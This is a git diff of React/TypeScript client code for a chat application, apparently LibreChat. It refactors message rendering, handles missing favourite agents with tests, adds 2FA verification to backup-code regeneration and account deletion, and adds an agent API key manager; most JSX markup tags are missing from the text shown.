- copyToClipboard,
- regenerateMessage,
- } = useMessageActions({
- message: msg,
- searchResults,
- currentEditId,
- setCurrentEditId,
- });
- const fontSize = useAtomValue(fontSizeAtom);
- const maximizeChatSpace = useRecoilValue(store.maximizeChatSpace);
+ conversation?.endpoint,
+ conversation?.model,
+ msg?.model,
+ msg?.iconURL,
+ msg?.endpoint,
+ msg?.isCreatedByUser,
+ ],
+ );
- const handleRegenerateMessage = useCallback(() => regenerateMessage(), [regenerateMessage]);
- const isLast = useMemo(
- () =>
- !(msg?.children?.length ?? 0) && (msg?.depth === latestMessage?.depth || msg?.depth === -1),
- [msg?.children, msg?.depth, latestMessage?.depth],
- );
- const hasNoChildren = !(msg?.children?.length ?? 0);
- const isLatestMessage = msg?.messageId === latestMessage?.messageId;
- /** Only pass isSubmitting to the latest message to prevent unnecessary re-renders */
- const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
+ const { hasParallelContent } = useContentMetadata(msg);
- const iconData: TMessageIcon = useMemo(
- () => ({
- endpoint: msg?.endpoint ?? conversation?.endpoint,
- model: msg?.model ?? conversation?.model,
- iconURL: msg?.iconURL,
- modelLabel: messageLabel,
- isCreatedByUser: msg?.isCreatedByUser,
- }),
- [
- messageLabel,
- conversation?.endpoint,
- conversation?.model,
- msg?.model,
- msg?.iconURL,
- msg?.endpoint,
- msg?.isCreatedByUser,
- ],
- );
+ if (!msg) {
+ return null;
+ }
- const { hasParallelContent } = useContentMetadata(msg);
-
- if (!msg) {
- return null;
+ const getChatWidthClass = () => {
+ if (maximizeChatSpace) {
+ return 'w-full max-w-full md:px-5 lg:px-1 xl:px-5';
}
+ if (hasParallelContent) {
+ return 'md:max-w-[58rem] xl:max-w-[70rem]';
+ }
+ return 'md:max-w-[47rem] xl:max-w-[55rem]';
+ };
- const getChatWidthClass = () => {
- if (maximizeChatSpace) {
- return 'w-full max-w-full md:px-5 lg:px-1 xl:px-5';
- }
- if (hasParallelContent) {
- return 'md:max-w-[58rem] xl:max-w-[70rem]';
- }
- return 'md:max-w-[47rem] xl:max-w-[55rem]';
- };
+ const baseClasses = {
+ common: 'group mx-auto flex flex-1 gap-3 transition-all duration-300 transform-gpu ',
+ chat: getChatWidthClass(),
+ };
- const baseClasses = {
- common: 'group mx-auto flex flex-1 gap-3 transition-all duration-300 transform-gpu ',
- chat: getChatWidthClass(),
- };
+ const conditionalClasses = {
+ focus: 'focus:outline-none focus:ring-2 focus:ring-border-xheavy',
+ };
- const conditionalClasses = {
- focus: 'focus:outline-none focus:ring-2 focus:ring-border-xheavy',
- };
+ return (
+
+ {!hasParallelContent && (
+
+ )}
- return (
{!hasParallelContent && (
-
+
{messageLabel}
)}
-
- {!hasParallelContent && (
-
{messageLabel}
- )}
-
-
-
- }
- />
-
- {hasNoChildren && effectiveIsSubmitting ? (
-
- ) : (
-
-
-
-
- )}
+
+
+ }
+ />
+ {hasNoChildren && effectiveIsSubmitting ? (
+
+ ) : (
+
+
+
+
+ )}
- );
- },
-);
+
+ );
+});
+ContentRender.displayName = 'ContentRender';
export default ContentRender;
diff --git a/client/src/components/Messages/MessageContent.tsx b/client/src/components/Messages/MessageContent.tsx
index 68fe2d8629..0e53b1c840 100644
--- a/client/src/components/Messages/MessageContent.tsx
+++ b/client/src/components/Messages/MessageContent.tsx
@@ -5,25 +5,23 @@ import type { TMessageProps } from '~/common';
import MultiMessage from '~/components/Chat/Messages/MultiMessage';
import ContentRender from './ContentRender';
-const MessageContainer = React.memo(
- ({
- handleScroll,
- children,
- }: {
- handleScroll: (event?: unknown) => void;
- children: React.ReactNode;
- }) => {
- return (
-
- {children}
-
- );
- },
-);
+const MessageContainer = React.memo(function MessageContainer({
+ handleScroll,
+ children,
+}: {
+ handleScroll: (event?: unknown) => void;
+ children: React.ReactNode;
+}) {
+ return (
+
+ {children}
+
+ );
+});
export default function MessageContent(props: TMessageProps) {
const { conversation, handleScroll, isSubmitting } = useMessageProcess({
diff --git a/client/src/components/Nav/AccountSettings.tsx b/client/src/components/Nav/AccountSettings.tsx
index e3f97160eb..cf80f89ca2 100644
--- a/client/src/components/Nav/AccountSettings.tsx
+++ b/client/src/components/Nav/AccountSettings.tsx
@@ -1,5 +1,5 @@
import { useState, memo, useRef } from 'react';
-import * as Select from '@ariakit/react/select';
+import * as Menu from '@ariakit/react/menu';
import { FileText, LogOut } from 'lucide-react';
import { LinkIcon, GearIcon, DropdownMenuSeparator, Avatar } from '@librechat/client';
import { MyFilesModal } from '~/components/Chat/Input/Files/MyFilesModal';
@@ -20,8 +20,8 @@ function AccountSettings() {
const accountSettingsButtonRef = useRef
(null);
return (
-
-
+
{user?.name ?? user?.username ?? localize('com_nav_user')}
-
-
+
>
)}
- setShowFiles(true)}
- className="select-item text-sm"
- >
+ setShowFiles(true)} className="select-item text-sm">
{localize('com_nav_my_files')}
-
+
{startupConfig?.helpAndFaqURL !== '/' && (
- window.open(startupConfig?.helpAndFaqURL, '_blank')}
className="select-item text-sm"
>
{localize('com_nav_help_faq')}
-
+
)}
- setShowSettings(true)}
- className="select-item text-sm"
- >
+ setShowSettings(true)} className="select-item text-sm">
{localize('com_nav_settings')}
-
+
- logout()}
- value="logout"
- className="select-item text-sm"
- >
+ logout()} className="select-item text-sm">
{localize('com_nav_log_out')}
-
-
+
+
{showFiles && (
)}
{showSettings &&
}
-
+
);
}
diff --git a/client/src/components/Nav/Favorites/FavoritesList.tsx b/client/src/components/Nav/Favorites/FavoritesList.tsx
index b142b0cfc3..82225733fd 100644
--- a/client/src/components/Nav/Favorites/FavoritesList.tsx
+++ b/client/src/components/Nav/Favorites/FavoritesList.tsx
@@ -1,13 +1,20 @@
import React, { useRef, useCallback, useMemo, useEffect } from 'react';
-import { useRecoilValue } from 'recoil';
import { LayoutGrid } from 'lucide-react';
import { useDrag, useDrop } from 'react-dnd';
import { Skeleton } from '@librechat/client';
import { useNavigate } from 'react-router-dom';
import { useQueries } from '@tanstack/react-query';
+import { useRecoilValue } from 'recoil';
import { QueryKeys, dataService } from 'librechat-data-provider';
import type t from 'librechat-data-provider';
-import { useFavorites, useLocalize, useShowMarketplace, useNewConvo } from '~/hooks';
+import type { AgentQueryResult } from '~/common';
+import {
+ useGetConversation,
+ useShowMarketplace,
+ useFavorites,
+ useLocalize,
+ useNewConvo,
+} from '~/hooks';
import { useAssistantsMapContext, useAgentsMapContext } from '~/Providers';
import useSelectMention from '~/hooks/Input/useSelectMention';
import { useGetEndpointsQuery } from '~/data-provider';
@@ -121,20 +128,20 @@ export default function FavoritesList({
const navigate = useNavigate();
const localize = useLocalize();
const search = useRecoilValue(store.search);
+ const getConversation = useGetConversation(0);
const { favorites, reorderFavorites, isLoading: isFavoritesLoading } = useFavorites();
const showAgentMarketplace = useShowMarketplace();
const { newConversation } = useNewConvo();
const assistantsMap = useAssistantsMapContext();
const agentsMap = useAgentsMapContext();
- const conversation = useRecoilValue(store.conversationByIndex(0));
const { data: endpointsConfig = {} as t.TEndpointsConfig } = useGetEndpointsQuery();
const { onSelectEndpoint } = useSelectMention({
modelSpecs: [],
- conversation,
assistantsMap,
endpointsConfig,
+ getConversation,
newConversation,
returnHandlers: true,
});
@@ -184,7 +191,20 @@ export default function FavoritesList({
const missingAgentQueries = useQueries({
queries: missingAgentIds.map((agentId) => ({
queryKey: [QueryKeys.agent, agentId],
- queryFn: () => dataService.getAgentById({ agent_id: agentId }),
+ queryFn: async (): Promise
=> {
+ try {
+ const agent = await dataService.getAgentById({ agent_id: agentId });
+ return { found: true, agent };
+ } catch (error) {
+ if (error && typeof error === 'object' && 'response' in error) {
+ const axiosError = error as { response?: { status?: number } };
+ if (axiosError.response?.status === 404) {
+ return { found: false };
+ }
+ }
+ throw error;
+ }
+ },
staleTime: 1000 * 60 * 5,
enabled: missingAgentIds.length > 0,
})),
@@ -201,8 +221,8 @@ export default function FavoritesList({
}
}
missingAgentQueries.forEach((query) => {
- if (query.data) {
- combined[query.data.id] = query.data;
+ if (query.data?.found) {
+ combined[query.data.agent.id] = query.data.agent;
}
});
return combined;
diff --git a/client/src/components/Nav/Favorites/tests/FavoritesList.spec.tsx b/client/src/components/Nav/Favorites/tests/FavoritesList.spec.tsx
new file mode 100644
index 0000000000..ed71221de3
--- /dev/null
+++ b/client/src/components/Nav/Favorites/tests/FavoritesList.spec.tsx
@@ -0,0 +1,192 @@
+import React from 'react';
+import { render, waitFor } from '@testing-library/react';
+import '@testing-library/jest-dom';
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
+import { RecoilRoot } from 'recoil';
+import { DndProvider } from 'react-dnd';
+import { HTML5Backend } from 'react-dnd-html5-backend';
+import { BrowserRouter } from 'react-router-dom';
+import { dataService } from 'librechat-data-provider';
+import type t from 'librechat-data-provider';
+
+// Mock store before importing FavoritesList
+jest.mock('~/store', () => {
+ const { atom } = jest.requireActual('recoil');
+ return {
+ __esModule: true,
+ default: {
+ search: atom({
+ key: 'mock-search-atom',
+ default: { query: '' },
+ }),
+ conversationByIndex: (index: number) =>
+ atom({
+ key: `mock-conversation-atom-${index}`,
+ default: null,
+ }),
+ },
+ };
+});
+import FavoritesList from '../FavoritesList';
+
+type FavoriteItem = {
+ agentId?: string;
+ model?: string;
+ endpoint?: string;
+};
+
+// Mock dataService
+jest.mock('librechat-data-provider', () => ({
+ ...jest.requireActual('librechat-data-provider'),
+ dataService: {
+ getAgentById: jest.fn(),
+ },
+}));
+
+// Mock hooks
+const mockFavorites: FavoriteItem[] = [];
+const mockUseFavorites = jest.fn(() => ({
+ favorites: mockFavorites,
+ reorderFavorites: jest.fn(),
+ isLoading: false,
+}));
+
+jest.mock('~/hooks', () => ({
+ useFavorites: () => mockUseFavorites(),
+ useLocalize: () => (key: string) => key,
+ useShowMarketplace: () => false,
+ useNewConvo: () => ({ newConversation: jest.fn() }),
+ useGetConversation: () => () => null,
+}));
+
+jest.mock('~/Providers', () => ({
+ useAssistantsMapContext: () => ({}),
+ useAgentsMapContext: () => ({}),
+}));
+
+jest.mock('~/hooks/Input/useSelectMention', () => () => ({
+ onSelectEndpoint: jest.fn(),
+}));
+
+jest.mock('~/data-provider', () => ({
+ useGetEndpointsQuery: () => ({ data: {} }),
+}));
+
+jest.mock('../FavoriteItem', () => ({
+ __esModule: true,
+ default: ({ item, type }: { item: any; type: string }) => (
+
+ {type === 'agent' ? item.name : item.model}
+
+ ),
+}));
+
+const createTestQueryClient = () =>
+ new QueryClient({
+ defaultOptions: {
+ queries: {
+ retry: false,
+ },
+ },
+ });
+
+const renderWithProviders = (ui: React.ReactElement) => {
+ const queryClient = createTestQueryClient();
+ return render(
+
+
+
+ {ui}
+
+
+ ,
+ );
+};
+
+describe('FavoritesList', () => {
+ beforeEach(() => {
+ jest.clearAllMocks();
+ mockFavorites.length = 0;
+ });
+
+ describe('rendering', () => {
+ it('should render nothing when favorites is empty and marketplace is hidden', () => {
+ const { container } = renderWithProviders( );
+ expect(container.firstChild).toBeNull();
+ });
+
+ it('should render skeleton while loading', () => {
+ mockUseFavorites.mockReturnValueOnce({
+ favorites: [],
+ reorderFavorites: jest.fn(),
+ isLoading: true,
+ });
+
+ const { container } = renderWithProviders( );
+ // Skeletons should be present during loading - container should have children
+ expect(container.firstChild).not.toBeNull();
+ // When loading, the component renders skeleton placeholders (check for content, not specific CSS)
+ expect(container.innerHTML).toContain('div');
+ });
+ });
+
+ describe('missing agent handling', () => {
+ it('should exclude missing agents (404) from rendered favorites and render valid agents', async () => {
+ const validAgent: t.Agent = {
+ id: 'valid-agent',
+ name: 'Valid Agent',
+ author: 'test-author',
+ } as t.Agent;
+
+ // Set up favorites with both valid and missing agent
+ mockFavorites.push({ agentId: 'valid-agent' }, { agentId: 'deleted-agent' });
+
+ // Mock getAgentById: valid-agent returns successfully, deleted-agent returns 404
+ (dataService.getAgentById as jest.Mock).mockImplementation(
+ ({ agent_id }: { agent_id: string }) => {
+ if (agent_id === 'valid-agent') {
+ return Promise.resolve(validAgent);
+ }
+ if (agent_id === 'deleted-agent') {
+ return Promise.reject({ response: { status: 404 } });
+ }
+ return Promise.reject(new Error('Unknown agent'));
+ },
+ );
+
+ const { findAllByTestId } = renderWithProviders( );
+
+ // Wait for queries to resolve
+ const favoriteItems = await findAllByTestId('favorite-item');
+
+ // Only the valid agent should be rendered
+ expect(favoriteItems).toHaveLength(1);
+ expect(favoriteItems[0]).toHaveTextContent('Valid Agent');
+
+ // The deleted agent should still be requested, but not rendered
+ expect(dataService.getAgentById as jest.Mock).toHaveBeenCalledWith({
+ agent_id: 'deleted-agent',
+ });
+ });
+
+ it('should not show infinite loading skeleton when agents return 404', async () => {
+ // Set up favorites with only a deleted agent
+ mockFavorites.push({ agentId: 'deleted-agent' });
+
+ // Mock getAgentById to return 404
+ (dataService.getAgentById as jest.Mock).mockRejectedValue({ response: { status: 404 } });
+
+ const { queryAllByTestId } = renderWithProviders( );
+
+ // Wait for the loading state to resolve after 404 handling by ensuring the agent request was made
+ await waitFor(() => {
+ expect(dataService.getAgentById as jest.Mock).toHaveBeenCalledWith({
+ agent_id: 'deleted-agent',
+ });
+ });
+
+ // No favorite items should be rendered (deleted agent is filtered out)
+ expect(queryAllByTestId('favorite-item')).toHaveLength(0);
+ });
+ });
+});
diff --git a/client/src/components/Nav/Nav.tsx b/client/src/components/Nav/Nav.tsx
index 74883b94f4..cdee938663 100644
--- a/client/src/components/Nav/Nav.tsx
+++ b/client/src/components/Nav/Nav.tsx
@@ -225,6 +225,7 @@ const Nav = memo(
aria-label={localize('com_ui_chat_history')}
className="flex h-full flex-col px-2 pb-3.5"
aria-hidden={!navVisible}
+ {...{ inert: !navVisible ? '' : undefined }}
>
= useCallback(
+ const clickHandler: React.MouseEventHandler = useCallback(
(e) => {
- if (e.button === 0 && (e.ctrlKey || e.metaKey)) {
- window.open('/c/new', '_blank');
+ // Let browser handle modified/non-left clicks (new tab, context menu, etc.)
+ if (e.button !== 0 || e.metaKey || e.ctrlKey || e.shiftKey || e.altKey) {
return;
}
+
+ e.preventDefault();
clearMessagesCache(queryClient, conversation?.conversationId);
queryClient.invalidateQueries([QueryKeys.messages]);
newConvo();
- navigate('/c/new', { state: { focusChat: true } });
if (isSmallScreen) {
toggleNav();
}
},
- [queryClient, conversation, newConvo, navigate, toggleNav, isSmallScreen],
+ [queryClient, conversation, newConvo, toggleNav, isSmallScreen],
);
return (
@@ -84,14 +84,16 @@ export default function NewChat({
description={localize('com_ui_new_chat')}
render={
-
+
+
+
}
/>
diff --git a/client/src/components/Nav/SettingsTabs/Account/BackupCodesItem.tsx b/client/src/components/Nav/SettingsTabs/Account/BackupCodesItem.tsx
index c89ce61fff..e66cb7b08a 100644
--- a/client/src/components/Nav/SettingsTabs/Account/BackupCodesItem.tsx
+++ b/client/src/components/Nav/SettingsTabs/Account/BackupCodesItem.tsx
@@ -1,12 +1,23 @@
import React, { useState } from 'react';
import { RefreshCcw } from 'lucide-react';
+import { useSetRecoilState } from 'recoil';
import { motion, AnimatePresence } from 'framer-motion';
-import { TBackupCode, TRegenerateBackupCodesResponse, type TUser } from 'librechat-data-provider';
+import { REGEXP_ONLY_DIGITS, REGEXP_ONLY_DIGITS_AND_CHARS } from 'input-otp';
+import type {
+ TRegenerateBackupCodesResponse,
+ TRegenerateBackupCodesRequest,
+ TBackupCode,
+ TUser,
+} from 'librechat-data-provider';
import {
- OGDialog,
+ InputOTPSeparator,
+ InputOTPGroup,
+ InputOTPSlot,
OGDialogContent,
OGDialogTitle,
OGDialogTrigger,
+ OGDialog,
+ InputOTP,
Button,
Label,
Spinner,
@@ -15,7 +26,6 @@ import {
} from '@librechat/client';
import { useRegenerateBackupCodesMutation } from '~/data-provider';
import { useAuthContext, useLocalize } from '~/hooks';
-import { useSetRecoilState } from 'recoil';
import store from '~/store';
const BackupCodesItem: React.FC = () => {
@@ -24,25 +34,30 @@ const BackupCodesItem: React.FC = () => {
const { showToast } = useToastContext();
const setUser = useSetRecoilState(store.user);
const [isDialogOpen, setDialogOpen] = useState(false);
+ const [otpToken, setOtpToken] = useState('');
+ const [useBackup, setUseBackup] = useState(false);
const { mutate: regenerateBackupCodes, isLoading } = useRegenerateBackupCodesMutation();
+ const needs2FA = !!user?.twoFactorEnabled;
+
const fetchBackupCodes = (auto: boolean = false) => {
- regenerateBackupCodes(undefined, {
+ let payload: TRegenerateBackupCodesRequest | undefined;
+ if (needs2FA && otpToken.trim()) {
+ payload = useBackup ? { backupCode: otpToken.trim() } : { token: otpToken.trim() };
+ }
+
+ regenerateBackupCodes(payload, {
onSuccess: (data: TRegenerateBackupCodesResponse) => {
- const newBackupCodes: TBackupCode[] = data.backupCodesHash.map((codeHash) => ({
- codeHash,
- used: false,
- usedAt: null,
- }));
+ const newBackupCodes: TBackupCode[] = data.backupCodesHash;
setUser((prev) => ({ ...prev, backupCodes: newBackupCodes }) as TUser);
+ setOtpToken('');
showToast({
message: localize('com_ui_backup_codes_regenerated'),
status: 'success',
});
- // Trigger file download only when user explicitly clicks the button.
if (!auto && newBackupCodes.length) {
const codesString = data.backupCodes.join('\n');
const blob = new Blob([codesString], { type: 'text/plain;charset=utf-8' });
@@ -66,6 +81,8 @@ const BackupCodesItem: React.FC = () => {
fetchBackupCodes(false);
};
+ const otpReady = !needs2FA || otpToken.length === (useBackup ? 8 : 6);
+
return (
@@ -161,10 +178,10 @@ const BackupCodesItem: React.FC = () => {
);
})}
-
+
@@ -183,7 +200,7 @@ const BackupCodesItem: React.FC = () => {
@@ -192,6 +209,59 @@ const BackupCodesItem: React.FC = () => {
)}
+ {needs2FA && (
+
+
+ {localize('com_ui_2fa_verification_required')}
+
+
+
+ {useBackup ? (
+
+
+
+
+
+
+
+
+
+
+ ) : (
+ <>
+
+
+
+
+
+
+
+
+
+
+
+ >
+ )}
+
+
+
{
+ setUseBackup(!useBackup);
+ setOtpToken('');
+ }}
+ className="text-sm text-primary hover:underline"
+ >
+ {useBackup ? localize('com_ui_use_2fa_code') : localize('com_ui_use_backup_code')}
+
+
+ )}
diff --git a/client/src/components/Nav/SettingsTabs/Account/DeleteAccount.tsx b/client/src/components/Nav/SettingsTabs/Account/DeleteAccount.tsx
index e879a0f2c6..d9c432c6a2 100644
--- a/client/src/components/Nav/SettingsTabs/Account/DeleteAccount.tsx
+++ b/client/src/components/Nav/SettingsTabs/Account/DeleteAccount.tsx
@@ -1,16 +1,22 @@
-import { LockIcon, Trash } from 'lucide-react';
import React, { useState, useCallback } from 'react';
+import { LockIcon, Trash } from 'lucide-react';
+import { REGEXP_ONLY_DIGITS, REGEXP_ONLY_DIGITS_AND_CHARS } from 'input-otp';
import {
- Label,
- Input,
- Button,
- Spinner,
- OGDialog,
+ InputOTPSeparator,
OGDialogContent,
OGDialogTrigger,
OGDialogHeader,
+ InputOTPGroup,
OGDialogTitle,
+ InputOTPSlot,
+ OGDialog,
+ InputOTP,
+ Spinner,
+ Button,
+ Label,
+ Input,
} from '@librechat/client';
+import type { TDeleteUserRequest } from 'librechat-data-provider';
import { useDeleteUserMutation } from '~/data-provider';
import { useAuthContext } from '~/hooks/AuthContext';
import { LocalizeFunction } from '~/common';
@@ -21,16 +27,27 @@ const DeleteAccount = ({ disabled = false }: { title?: string; disabled?: boolea
const localize = useLocalize();
const { user, logout } = useAuthContext();
const { mutate: deleteUser, isLoading: isDeleting } = useDeleteUserMutation({
- onMutate: () => logout(),
+ onSuccess: () => logout(),
});
const [isDialogOpen, setDialogOpen] = useState(false);
const [isLocked, setIsLocked] = useState(true);
+ const [otpToken, setOtpToken] = useState('');
+ const [useBackup, setUseBackup] = useState(false);
+
+ const needs2FA = !!user?.twoFactorEnabled;
const handleDeleteUser = () => {
- if (!isLocked) {
- deleteUser(undefined);
+ if (isLocked) {
+ return;
}
+
+ let payload: TDeleteUserRequest | undefined;
+ if (needs2FA && otpToken.trim()) {
+ payload = useBackup ? { backupCode: otpToken.trim() } : { token: otpToken.trim() };
+ }
+
+ deleteUser(payload);
};
const handleInputChange = useCallback(
@@ -42,6 +59,8 @@ const DeleteAccount = ({ disabled = false }: { title?: string; disabled?: boolea
[user?.email],
);
+ const otpReady = !needs2FA || otpToken.length === (useBackup ? 8 : 6);
+
return (
<>
@@ -79,7 +98,60 @@ const DeleteAccount = ({ disabled = false }: { title?: string; disabled?: boolea
(e) => handleInputChange(e.target.value),
)}
- {renderDeleteButton(handleDeleteUser, isDeleting, isLocked, localize)}
+ {needs2FA && (
+
+
+ {localize('com_ui_2fa_verification_required')}
+
+
+
+ {useBackup ? (
+
+
+
+
+
+
+
+
+
+
+ ) : (
+ <>
+
+
+
+
+
+
+
+
+
+
+
+ >
+ )}
+
+
+
{
+ setUseBackup(!useBackup);
+ setOtpToken('');
+ }}
+ className="text-sm text-primary hover:underline"
+ >
+ {useBackup ? localize('com_ui_use_2fa_code') : localize('com_ui_use_backup_code')}
+
+
+ )}
+ {renderDeleteButton(handleDeleteUser, isDeleting, isLocked || !otpReady, localize)}
diff --git a/client/src/components/Nav/SettingsTabs/Data/AgentApiKeys.tsx b/client/src/components/Nav/SettingsTabs/Data/AgentApiKeys.tsx
new file mode 100644
index 0000000000..f75b93526a
--- /dev/null
+++ b/client/src/components/Nav/SettingsTabs/Data/AgentApiKeys.tsx
@@ -0,0 +1,362 @@
+import React, { useState } from 'react';
+import {
+ useGetAgentApiKeysQuery,
+ useCreateAgentApiKeyMutation,
+ useDeleteAgentApiKeyMutation,
+} from 'librechat-data-provider/react-query';
+import { Permissions, PermissionTypes } from 'librechat-data-provider';
+import { Plus, Trash2, Copy, CopyCheck, Key, Eye, EyeOff, ShieldEllipsis } from 'lucide-react';
+import {
+ Button,
+ Input,
+ Label,
+ Spinner,
+ OGDialog,
+ OGDialogClose,
+ OGDialogTitle,
+ OGDialogHeader,
+ OGDialogContent,
+ OGDialogTrigger,
+ useToastContext,
+} from '@librechat/client';
+import type { PermissionConfig } from '~/components/ui';
+import { useUpdateRemoteAgentsPermissionsMutation } from '~/data-provider';
+import { useLocalize, useCopyToClipboard } from '~/hooks';
+import { AdminSettingsDialog } from '~/components/ui';
+
+function CreateKeyDialog({ onKeyCreated }: { onKeyCreated?: () => void }) {
+ const localize = useLocalize();
+ const { showToast } = useToastContext();
+ const [open, setOpen] = useState(false);
+ const [name, setName] = useState('');
+ const [newKey, setNewKey] = useState(null);
+ const [showKey, setShowKey] = useState(false);
+ const [isCopying, setIsCopying] = useState(false);
+ const createMutation = useCreateAgentApiKeyMutation();
+ const copyKey = useCopyToClipboard({ text: newKey || '' });
+
+ const handleCreate = async () => {
+ if (!name.trim()) {
+ showToast({ message: localize('com_ui_api_key_name_required'), status: 'error' });
+ return;
+ }
+
+ try {
+ const result = await createMutation.mutateAsync({ name: name.trim() });
+ setNewKey(result.key);
+ showToast({ message: localize('com_ui_api_key_created'), status: 'success' });
+ onKeyCreated?.();
+ } catch {
+ showToast({ message: localize('com_ui_api_key_create_error'), status: 'error' });
+ }
+ };
+
+ const handleClose = () => {
+ setName('');
+ setNewKey(null);
+ setShowKey(false);
+ setOpen(false);
+ };
+
+ const handleCopy = () => {
+ if (isCopying) {
+ return;
+ }
+ copyKey(setIsCopying);
+ showToast({ message: localize('com_ui_api_key_copied'), status: 'success' });
+ };
+
+ return (
+
+
+
+
+ {localize('com_ui_create_api_key')}
+
+
+
+ {localize('com_ui_create_api_key')}
+
+ {!newKey ? (
+ <>
+
+ {localize('com_ui_api_key_name')}
+ setName(e.target.value)}
+ placeholder={localize('com_ui_api_key_name_placeholder')}
+ />
+
+
+
+
+ {localize('com_ui_cancel')}
+
+
+
+ {createMutation.isLoading ? (
+
+ ) : (
+ localize('com_ui_create')
+ )}
+
+
+ >
+ ) : (
+ <>
+
+
+ {localize('com_ui_api_key_warning')}
+
+
+
+
{localize('com_ui_your_api_key')}
+
+
+ setShowKey(!showKey)}
+ title={showKey ? localize('com_ui_hide') : localize('com_ui_show')}
+ >
+ {showKey ? : }
+
+
+ {isCopying ? : }
+
+
+
+
+ {localize('com_ui_done')}
+
+ >
+ )}
+
+
+
+ );
+}
+
+function KeyItem({
+ id,
+ name,
+ keyPrefix,
+ createdAt,
+ lastUsedAt,
+}: {
+ id: string;
+ name: string;
+ keyPrefix: string;
+ createdAt: string;
+ lastUsedAt?: string;
+}) {
+ const localize = useLocalize();
+ const { showToast } = useToastContext();
+ const [confirmDelete, setConfirmDelete] = useState(false);
+ const deleteMutation = useDeleteAgentApiKeyMutation();
+
+ const handleDelete = async () => {
+ try {
+ await deleteMutation.mutateAsync(id);
+ showToast({ message: localize('com_ui_api_key_deleted'), status: 'success' });
+ } catch {
+ showToast({ message: localize('com_ui_api_key_delete_error'), status: 'error' });
+ }
+ setConfirmDelete(false);
+ };
+
+ const formatDate = (dateStr: string) => {
+ return new Date(dateStr).toLocaleDateString(undefined, {
+ year: 'numeric',
+ month: 'short',
+ day: 'numeric',
+ });
+ };
+
+ return (
+
+
+
+
+
{name}
+
+ {keyPrefix}...
+ •
+
+ {localize('com_ui_created')} {formatDate(createdAt)}
+
+ {lastUsedAt && (
+ <>
+ •
+
+ {localize('com_ui_last_used')} {formatDate(lastUsedAt)}
+
+ >
+ )}
+
+
+
+
+ {confirmDelete ? (
+
+ setConfirmDelete(false)}>
+ {localize('com_ui_cancel')}
+
+
+ {deleteMutation.isLoading ? (
+
+ ) : (
+ localize('com_ui_delete')
+ )}
+
+
+ ) : (
+
setConfirmDelete(true)}
+ title={localize('com_ui_delete')}
+ >
+
+
+ )}
+
+
+ );
+}
+
+function ApiKeysContent({ isOpen }: { isOpen: boolean }) {
+ const localize = useLocalize();
+ const { data, isLoading, error } = useGetAgentApiKeysQuery({ enabled: isOpen });
+
+ if (error) {
+ return {localize('com_ui_api_keys_load_error')}
;
+ }
+
+ return (
+
+
+
+
+
+
+
+ {isLoading && (
+
+
+
+ )}
+ {!isLoading &&
+ data?.keys &&
+ data.keys.length > 0 &&
+ data.keys.map((key) => (
+
+ ))}
+ {!isLoading && (!data?.keys || data.keys.length === 0) && (
+
+
+
{localize('com_ui_no_api_keys')}
+
+ )}
+
+
+ );
+}
+
+const remoteAgentsPermissions: PermissionConfig[] = [
+ { permission: Permissions.USE, labelKey: 'com_ui_remote_agents_allow_use' },
+ { permission: Permissions.CREATE, labelKey: 'com_ui_remote_agents_allow_create' },
+ { permission: Permissions.SHARE, labelKey: 'com_ui_remote_agents_allow_share' },
+ { permission: Permissions.SHARE_PUBLIC, labelKey: 'com_ui_remote_agents_allow_share_public' },
+];
+
+function RemoteAgentsAdminSettings() {
+ const localize = useLocalize();
+ const { showToast } = useToastContext();
+
+ const mutation = useUpdateRemoteAgentsPermissionsMutation({
+ onSuccess: () => {
+ showToast({ status: 'success', message: localize('com_ui_saved') });
+ },
+ onError: () => {
+ showToast({ status: 'error', message: localize('com_ui_error_save_admin_settings') });
+ },
+ });
+
+ const trigger = (
+
+
+
+ );
+
+ return (
+
+ );
+}
+
+export function AgentApiKeys() {
+ const localize = useLocalize();
+ const [isOpen, setIsOpen] = useState(false);
+
+ return (
+
+
{localize('com_ui_agent_api_keys')}
+
+
+
+
+ {localize('com_ui_manage')}
+
+
+
+
+
+ {localize('com_ui_agent_api_keys')}
+
+ {localize('com_ui_agent_api_keys_description')}
+
+
+
+
+
+
+ );
+}
diff --git a/client/src/components/Nav/SettingsTabs/Data/Data.tsx b/client/src/components/Nav/SettingsTabs/Data/Data.tsx
index 0bba5a152e..eb8cea98c2 100644
--- a/client/src/components/Nav/SettingsTabs/Data/Data.tsx
+++ b/client/src/components/Nav/SettingsTabs/Data/Data.tsx
@@ -1,15 +1,22 @@
import React, { useState, useRef } from 'react';
import { useOnClickOutside } from '@librechat/client';
+import { Permissions, PermissionTypes } from 'librechat-data-provider';
import ImportConversations from './ImportConversations';
-import { RevokeKeys } from './RevokeKeys';
+import { AgentApiKeys } from './AgentApiKeys';
import { DeleteCache } from './DeleteCache';
+import { RevokeKeys } from './RevokeKeys';
import { ClearChats } from './ClearChats';
import SharedLinks from './SharedLinks';
+import { useHasAccess } from '~/hooks';
function Data() {
const dataTabRef = useRef(null);
const [confirmClearConvos, setConfirmClearConvos] = useState(false);
useOnClickOutside(dataTabRef, () => confirmClearConvos && setConfirmClearConvos(false), []);
+ const hasAccessToApiKeys = useHasAccess({
+ permissionType: PermissionTypes.REMOTE_AGENTS,
+ permission: Permissions.USE,
+ });
return (
@@ -19,6 +26,11 @@ function Data() {
+ {hasAccessToApiKeys && (
+
+ )}
diff --git a/client/src/components/Nav/SettingsTabs/General/General.tsx b/client/src/components/Nav/SettingsTabs/General/General.tsx
index 4a56dd6d25..1570b2a0d3 100644
--- a/client/src/components/Nav/SettingsTabs/General/General.tsx
+++ b/client/src/components/Nav/SettingsTabs/General/General.tsx
@@ -103,17 +103,21 @@ export const LangSelector = ({
{ value: 'he-HE', label: localize('com_nav_lang_hebrew') },
{ value: 'hu-HU', label: localize('com_nav_lang_hungarian') },
{ value: 'hy-AM', label: localize('com_nav_lang_armenian') },
+ { value: 'is', label: localize('com_nav_lang_icelandic') },
{ value: 'it-IT', label: localize('com_nav_lang_italian') },
{ value: 'nb', label: localize('com_nav_lang_norwegian_bokmal') },
+ { value: 'nn', label: localize('com_nav_lang_norwegian_nynorsk') },
{ value: 'pl-PL', label: localize('com_nav_lang_polish') },
{ value: 'pt-BR', label: localize('com_nav_lang_brazilian_portuguese') },
{ value: 'pt-PT', label: localize('com_nav_lang_portuguese') },
{ value: 'ru-RU', label: localize('com_nav_lang_russian') },
+ { value: 'sk', label: localize('com_nav_lang_slovak') },
{ value: 'ja-JP', label: localize('com_nav_lang_japanese') },
{ value: 'ka-GE', label: localize('com_nav_lang_georgian') },
